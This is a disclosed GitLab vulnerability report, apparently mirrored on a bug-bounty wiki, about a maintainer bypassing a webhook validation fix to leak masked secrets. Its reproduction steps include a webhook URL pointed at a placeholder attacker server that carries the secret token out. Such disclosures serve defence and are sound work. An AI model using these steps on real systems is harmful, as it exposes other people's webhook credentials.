Maintainer can leak masked webhook secrets by adding a new parameter to the webhook URL to bypass the newly added validation logic
A maintainer could leak masked webhook secrets by editing the webhook URL to include a new variable, which bypassed a validation check that was supposed to reset URL variables when the URL changed. The attacker could then send a test request to a server they control and see the secret in plain text.
GitLab
Originally disclosed on GitLab
- Fixed in 44 days
- Disclosed after 44 days
⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.
HackerOne report #1871136 by 0xn3va on 2023-02-12, assigned to @rshambhuni:
Report | Attachments | How To Reproduce
Report
Summary
There is a vulnerability https://gitlab.com/gitlab-org/gitlab/-/issues/385118 that was fixed and disclosed recently. The fix adds an extra check in case the URL changes:
### https://gitlab.com/gitlab-org/gitlab/-/commit/7f34991ae36f1804610ba9980e31191394c8b208
### ...
before_validation :reset_url_variables, unless: ->(hook) { hook.is_a?(ServiceHook) }
### ...
def reset_url_variables
self.url_variables = {} if url_changed? && !encrypted_url_variables_changed?
end
However, reset_url_variables will return false if the URL variables have also been changed. This allows bypassing the check by adding a new variable to the modified URL.
Steps to reproduce
As a project owner
- Create a project
- Add another user to the project as a maintainer
- Go to Settings > Webhooks
- Put the URL
https://example.com?token=secret-token - Click to add a mask
- Add the value
secret-tokenwith the replacementTOKEN - Click save for the webhook
As a maintaner
- Open the project
- Go to Settings > Webhooks
- Click edit on the webhook
- Edit the URL to your controlled server like that:
https://<ATTACKER_SERVER>?token={TOKEN}&a=aaaaa - Add the value
aaaaawith the replacementA - Save the webhook
- Now click
Testto send a request - Check your server logs; it will contain the secret in plain text
Impact
This vulnerability allows an attacker with the Maintainer role to leak webhook secrets.
What is the current bug behavior?
Adding or deleting a new secret does not reset the previously saved ones
What is the expected correct behavior?
Adding or deleting a new secret resets the previously saved ones
Relevant logs and/or screenshots
Output of checks
This bug happens on GitLab.com
Impact
This vulnerability allows an attacker with the Maintainer role to leak webhook secrets.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The validation method `reset_url_variables` returns false when URL variables are also changed, so the check that should clear variables on URL change is bypassed.
What the attacker needed
Maintainer role on a project; Webhook with masked secret configured
How it was found
- As project owner, create a project and add another user as maintainer.
- Go to Settings > Webhooks and add a webhook with URL containing a secret token.
- Add a mask for the secret token value.
- Save the webhook.
- As maintainer, edit the webhook URL to point to an attacker-controlled server and add a new variable.
- Add a mask for the new variable value and save.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Webhooks are automatic messages sent from one system to another. A secret token can be included in the webhook URL to authenticate. The system tried to hide these secrets by masking them, but a flaw allowed a user with maintainer rights to change the URL in a way that revealed the secret.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.